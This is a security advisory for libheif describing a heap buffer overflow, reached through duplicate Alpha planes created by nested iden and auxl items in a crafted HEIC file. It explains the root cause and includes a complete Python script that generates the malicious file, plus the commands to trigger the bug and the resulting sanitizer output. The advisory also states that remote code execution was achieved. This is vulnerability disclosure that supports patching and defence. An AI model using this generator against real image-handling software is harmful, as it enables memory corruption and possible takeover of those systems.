GHSA-g89c-p67h-r497
CVE Information
Summary
A crafted HEIC/HEIF/AVIF file with nested identity-derivation (
iden) and auxiliary (auxl) item references causesHeifPixelImage::scale_nearest_neighbor()to write 16-bit samples into an 8-bit Alpha plane allocation, producing a heap buffer overflow (OOB write).The overflow size and written values are attacker-controlled via the ISOBMFF container and HEVC bitstream content. Any application using
heif_decode_image()is affected. No special API options or unusual calling patterns are required.Details
The vulnerability is a chain of four individually benign behaviors that combine into a controlled heap-buffer-overflow:
1.
transfer_channel_from_image_as()accepts duplicate destination channels
HeifPixelImage::transfer_channel_from_image_as()moves a source plane into the destination image by changing its channel to the requesteddst_channeland appending it tom_storage. It does not reject a destination channel that already exists — the source even contains the corresponding// TODO:// TODO: check that dst_channel does not exist yet // line 1037 ... plane.m_channel = dst_channel; m_storage.push_back(plane); // line 1085 — unconditional2.
find_storage_for_channel()returns only the first match
find_storage_for_channel()returns the firstComponentStorageentry with the requested channel. All dependent methods —get_bits_per_pixel(),get_channel_memory(),get_width(),get_height()— therefore describe only the first Alpha plane even when later duplicates have different storage properties (bit depth, allocation size).3.
scale_nearest_neighbor()underallocates then overwrites via the HDR branch
scale_nearest_neighbor()allocates a single destination Alpha plane using the bit depth returned for the first Alpha entry (line 1849):if (has_channel(heif_channel_Alpha)) { out_img->add_channel(heif_channel_Alpha, width, height, get_bits_per_pixel(heif_channel_Alpha), limits); // → uses first Alpha's 8-bit depth }It then iterates every entry in the source
m_storage(line 1917). For each duplicate Alpha component, it looks up the same destination buffer viaget_channel_memory<uint16_t>(), but selects the write type using that source component's bit depth. When a later Alpha is 10- or 12-bit, the HDR branch casts the 8-bit destination touint16_t*and writes 2 bytes per output sample into a 1-byte-per-sample allocation:// line 1949-1965 — HDR planar branch uint16_t* out_data = out_img->get_channel_memory<uint16_t>(channel, &out_stride); out_stride /= 2; for (uint32_t y = 0; y < out_h; y++) { ... out_data[y * out_stride + x] = in_data[iy * in_stride + ix]; // 2-byte write into 1-byte alloc }4.
idenenables the nested item graph that produces duplicate Alphas
ImageItem_iden::decode_compressed_image()calls the referenced item's fulldecode_image()(line 96):return imgitem->decode_image(options, decode_tile_only, tile_x0, tile_y0, processed_ids);This returns the referenced item's fully-decoded image — including its own alpha channel already attached. Then the base class
ImageItem::decode_image()runs the iden item's own alpha attachment (image_item.cc:1030-1076), appending a second Alpha plane viatransfer_channel_from_image_as(). This creates an image with two Alpha entries inm_storage: the first at 8-bit (from the referenced item's alpha), the second at 10-bit (from the iden's own alpha).Additionally,
ImageItem_iden::check_decoded_image_size()unconditionally returnsError::Ok, allowing the iden's declaredispedimensions to differ from the referenced item's actual pixel dimensions. This enables the size mismatch that triggersscale_nearest_neighbor()when the iden image is used as another item's alpha auxiliary.Attack flow:
The crafted file contains 5 ISOBMFF items:
Item Type Size Role 1 hvc1 64×64 8-bit Color image with auxiliary alpha → Item 2 2 hvc1 64×64 8-bit Alpha aux of Item 1 3 iden 64×64 (ispe) Identity derivation → Item 1; alpha aux of Item 5; has own alpha → Item 4 4 hvc1 64×64 10-bit Alpha aux of Item 3 5 hvc1 128×128 8-bit Primary item; alpha → Item 3 When decoding the primary (Item 5):
- Item 5's alpha is Item 3 (iden → Item 1)
- Decode Item 3 → calls
Item 1→decode_image():- Item 1 decodes to a 64×64 YCbCr image
- Item 1's alpha (Item 2) is decoded and its Y channel (8-bit) is transferred as
heif_channel_Alpha→ Alpha #1 (8-bit)- Back in Item 3's decode: Item 3's own alpha (Item 4) is decoded (64×64, 10-bit) and its Y channel is transferred as
heif_channel_Alpha→ Alpha #2 (10-bit)- Item 3's decoded image now has
m_storage:[Y, Cb, Cr, Alpha(8-bit), Alpha(10-bit)]- Item 3's declared ispe (64) ≠ Item 5's decoded width (128) →
scale_nearest_neighbor()is called- Scaler allocates dest Alpha at
get_bits_per_pixel(heif_channel_Alpha)= 8-bit (first match) → 128×128×1 = 16,384 bytes- Iteration reaches Alpha #2 (10-bit): HDR branch casts the 8-bit dest to
uint16_t*and writes 128×128×2 = 32,768 bytes → overflow of ~16,384 bytes past the allocationThe output geometry (128×128) controls the overflow extent, while the HEVC 10-bit sample values control the
uint16_tvalues written.Related OOB read via
overlay():
HeifPixelImage::overlay()indexes the Alpha plane using the color image's extent without verifying dimensions match. An undersized Alpha plane (transferred via iden with dimension bypass) causes an out-of-bounds read.PoC
Step 1: Build libheif with ASan
git clone https://github.com/strukturag/libheif cd libheif cmake -B build \ -DCMAKE_C_COMPILER=clang \ -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \ -DWITH_EXAMPLES=ON -DWITH_GDK_PIXBUF=OFF cmake --build build --target heif-dec -j$(nproc)Step 2: Generate the crafted HEIC (requires Python 3 + ffmpeg with libx265)
Save the following as
gen_poc.py:#!/usr/bin/env python3 """ PoC generator for libheif heap-buffer-overflow via duplicate Alpha planes. Constructs a HEIC file whose nested iden/auxl item graph causes scale_nearest_neighbor() to write 16-bit samples into an 8-bit Alpha plane allocation. Prerequisites: Python 3.6+, ffmpeg with libx265. """ import struct, subprocess, tempfile, os, io def _generate_hevc(width, height, pix_fmt): fd, path = tempfile.mkstemp(suffix=".265") os.close(fd) try: subprocess.run([ "ffmpeg", "-y", "-f", "lavfi", "-i", f"color=c=gray:s={width}x{height}", "-frames:v", "1", "-c:v", "libx265", "-x265-params", "log-level=0", "-pix_fmt", pix_fmt, "-f", "hevc", path, ], capture_output=True, check=True) with open(path, "rb") as f: return f.read() finally: os.unlink(path) def _parse_annex_b(data): nalus, i = [], 0 while i < len(data): if data[i:i+4] == b"\x00\x00\x00\x01": start = i + 4 elif data[i:i+3] == b"\x00\x00\x01": start = i + 3 else: i += 1; continue end = len(data) j = start while j < len(data) - 3: if data[j:j+3] == b"\x00\x00\x01": end = j while end > start and data[end - 1] == 0: end -= 1 break j += 1 nalus.append(data[start:end]) i = end return nalus def _nal_type(n): return (n[0] >> 1) & 0x3F def _split_nalus(raw): nalus = _parse_annex_b(raw) ps = {"vps": [], "sps": [], "pps": []} vcl = [] for n in nalus: t = _nal_type(n) if t == 32: ps["vps"].append(n) elif t == 33: ps["sps"].append(n) elif t == 34: ps["pps"].append(n) elif t <= 31: vcl.append(n) return ps, vcl def _box(tag, p=b""): return struct.pack(">I", 8 + len(p)) + tag + p def _fullbox(tag, ver, flags, p=b""): return _box(tag, struct.pack(">I", (ver << 24) | flags) + p) def _len_prefix(n): return struct.pack(">I", len(n)) + n def _build_hvcc(ps, bpp, chroma): sps = ps["sps"][0] pb = sps[2] if len(sps) > 2 else 0 buf = io.BytesIO() buf.write(struct.pack("B", 1)) buf.write(struct.pack("B", ((pb >> 6) & 3) << 6 | ((pb >> 5) & 1) << 5 | (pb & 0x1F))) buf.write(b"\x60\x00\x00\x00") buf.write(b"\x90\x00\x00\x00\x00\x00") buf.write(struct.pack("B", 93)) buf.write(struct.pack(">H", 0xF000)) buf.write(struct.pack("B", 0xFC)) buf.write(struct.pack("B", 0xFC | (chroma & 3))) buf.write(struct.pack("B", 0xF8 | ((bpp - 8) & 7))) buf.write(struct.pack("B", 0xF8 | ((bpp - 8) & 7))) buf.write(struct.pack(">H", 0)) buf.write(struct.pack("B", 0x0F)) arrays = [] for nt, k in [(32, "vps"), (33, "sps"), (34, "pps")]: if ps[k]: hdr = struct.pack("B", 0x80 | nt) + struct.pack(">H", len(ps[k])) body = b"".join(struct.pack(">H", len(n)) + n for n in ps[k]) arrays.append(hdr + body) buf.write(struct.pack("B", len(arrays))) for a in arrays: buf.write(a) return _box(b"hvcC", buf.getvalue()) def build_poc(): print("[*] Generating HEVC bitstreams ...") raw_8_64 = _generate_hevc(64, 64, "yuv420p") raw_10_64 = _generate_hevc(64, 64, "yuv420p10le") raw_8_128 = _generate_hevc(128, 128, "yuv420p") ps_8_64, vcl_8_64 = _split_nalus(raw_8_64) ps_10_64, vcl_10_64 = _split_nalus(raw_10_64) ps_8_128, vcl_8_128 = _split_nalus(raw_8_128) d1 = b"".join(_len_prefix(n) for n in vcl_8_64) d2 = d1 d4 = b"".join(_len_prefix(n) for n in vcl_10_64) d5 = b"".join(_len_prefix(n) for n in vcl_8_128) ftyp = _box(b"ftyp", b"heic" + struct.pack(">I", 0) + b"heic") mdat = _box(b"mdat", d1 + d2 + d4 + d5) base = len(ftyp) + 8 o1 = base o2 = o1 + len(d1) o4 = o2 + len(d2) o5 = o4 + len(d4) hdlr = _fullbox(b"hdlr", 0, 0, struct.pack(">I", 0) + b"pict" + b"\x00" * 12 + b"\x00") pitm = _fullbox(b"pitm", 0, 0, struct.pack(">H", 5)) def infe(iid, typ, nm=b""): return _fullbox(b"infe", 2, 0, struct.pack(">HH", iid, 0) + typ + nm + b"\x00") iinf = _fullbox(b"iinf", 0, 0, struct.pack(">H", 5) + infe(1, b"hvc1") + infe(2, b"hvc1") + infe(3, b"iden") + infe(4, b"hvc1") + infe(5, b"hvc1")) def sref(rt, fi, tl): return _box(rt, struct.pack(">HH", fi, len(tl)) + b"".join(struct.pack(">H", t) for t in tl)) iref = _fullbox(b"iref", 0, 0, sref(b"auxl", 2, [1]) + sref(b"dimg", 3, [1]) + sref(b"auxl", 3, [5]) + sref(b"auxl", 4, [3])) ispe64 = _fullbox(b"ispe", 0, 0, struct.pack(">II", 64, 64)) ispe128 = _fullbox(b"ispe", 0, 0, struct.pack(">II", 128, 128)) h3 = _build_hvcc(ps_8_64, 8, 1) h4 = _build_hvcc(ps_10_64, 10, 1) h5 = _build_hvcc(ps_8_128, 8, 1) auxc = _fullbox(b"auxC", 0, 0, b"urn:mpeg:mpegB:cicp:systems:auxiliary:alpha\x00") ipco = _box(b"ipco", ispe64 + ispe128 + h3 + h4 + h5 + auxc) def ipma_e(iid, al): return struct.pack(">HB", iid, len(al)) + \ b"".join(struct.pack("B", ((1 if e else 0) << 7) | (i & 0x7F)) for e, i in al) ipma = _fullbox(b"ipma", 0, 0, struct.pack(">I", 5) + ipma_e(1, [(1,1),(1,3)]) + ipma_e(2, [(1,1),(1,3),(1,6)]) + ipma_e(3, [(1,1),(1,6)]) + ipma_e(4, [(1,1),(1,4),(1,6)]) + ipma_e(5, [(1,2),(1,5)])) iprp = _box(b"iprp", ipco + ipma) def iloc_i(iid, off, ln): return struct.pack(">HHHII", iid, 0, 1, off, ln) def iloc_e(iid): return struct.pack(">HHH", iid, 0, 0) iloc = _fullbox(b"iloc", 0, 0, struct.pack("BB", 0x44, 0x00) + struct.pack(">H", 5) + iloc_i(1, o1, len(d1)) + iloc_i(2, o2, len(d2)) + iloc_e(3) + iloc_i(4, o4, len(d4)) + iloc_i(5, o5, len(d5))) meta = _fullbox(b"meta", 0, 0, hdlr + pitm + iinf + iref + iprp + iloc) return ftyp + mdat + meta if __name__ == "__main__": with open("poc.heic", "wb") as f: f.write(build_poc()) print("[+] Written poc.heic")Run it:
python3 gen_poc.pyStep 3: Trigger the overflow
ASAN_OPTIONS=detect_leaks=0 ./build/examples/heif-dec poc.heic /dev/nullExpected output (ASan report):
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... at pc 0x... bp 0x... sp 0x... WRITE of size 2 at 0x... thread T0 #0 ... in HeifPixelImage::scale_nearest_neighbor(...) pixelimage.cc:1964 #1 ... in ImageItem::decode_image(...) image_item.cc:1070 #2 ... in HeifContext::decode_image(...) context.cc:1443 #3 ... in heif_decode_image heif_decoding.cc:258 #4 ... in main heif_dec.cc:... 0x... is located 0 bytes after 16399-byte region [0x...,0x...) allocated by thread T0 here: #0 ... in calloc #1 ... in HeifPixelImage::ComponentStorage::alloc(...) pixelimage.cc:478 #2 ... in HeifPixelImage::add_channel(...) pixelimage.cc:379 #3 ... in HeifPixelImage::scale_nearest_neighbor(...) pixelimage.cc:1849 SUMMARY: AddressSanitizer: heap-buffer-overflow pixelimage.cc:1964 in HeifPixelImage::scale_nearest_neighbor(...)Impact
We were able to get RCE using this on multiple applications.